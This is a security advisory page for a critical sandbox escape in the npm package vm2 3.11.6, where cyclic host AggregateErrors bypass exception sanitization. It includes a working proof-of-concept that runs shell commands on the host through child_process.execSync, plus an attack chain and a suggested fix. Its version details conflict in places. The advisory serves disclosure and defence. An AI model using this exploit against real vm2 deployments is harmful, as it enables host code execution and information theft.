GHSA-x965-fc75-jpqh: Critical severity npm/vm2 vulnerability

Published Oct 5, 2026
·
Updated

Summary vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact Full host RCE (childprocess.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept js const {VM} = require('vm2'); const vm = new VM({ sandbox: { hostThrow(){ const shared = new AggregateError([], 'shared'); shared.leak = process; // incidental host ref throw new AggregateError([shared, shared], 'all failed'); // same host obj twice }}}); console.log(vm.run( try { hostThrow(); } catch (e) { e.errors[1].leak.mainModule.require('childprocess').execSync('id').toString(); })); // -> uid=1000(...) host RCE Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain 1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope. 2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live. 3. Sink — e.errors[0].leak.mainModule.require('childprocess').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu).... 4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence Executed on node v22.23, vm2 3.11.6: - Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED - Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED - Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions <= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Suggested Fix On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.

--- Reported by zx (Jace) — GitHub: @manus-use

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.7
3.11.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.8
  2. Compensating control

    Fix vm2's handleException cycle handling so that, when a host-wrapped AggregateError or SuppressedError carrier is revisited, it returns the memoized sandbox-realm replacement instead of the raw host carrier; alternatively, seal those host-wrapped carriers in place before recursing into sub-errors, mirroring sanitizeHostOwnProps.

Event History

Oct 5, 2026
Advisory Published
via GitHub·10:38 PM
Data Sourced
via GitHub·10:38 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which installations should be treated as affected?

The affected software is npm/vm2 version 3.11.6, identified as this fork's latest release. The provided data does not identify a fixed version.

2

What must occur for exploitation?

Sandbox code must catch a host-wrapped AggregateError that is revisited during a single handleException traversal. This can occur through a self-cycle, a mutual cycle, or the same host aggregate appearing more than once in an errors[] array.

3

What is the practical impact if the condition is reached?

The sandbox can receive a live, unsanitized host proxy in the supposedly sanitized errors[] data. This yields full host remote code execution through the exception throw channel.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203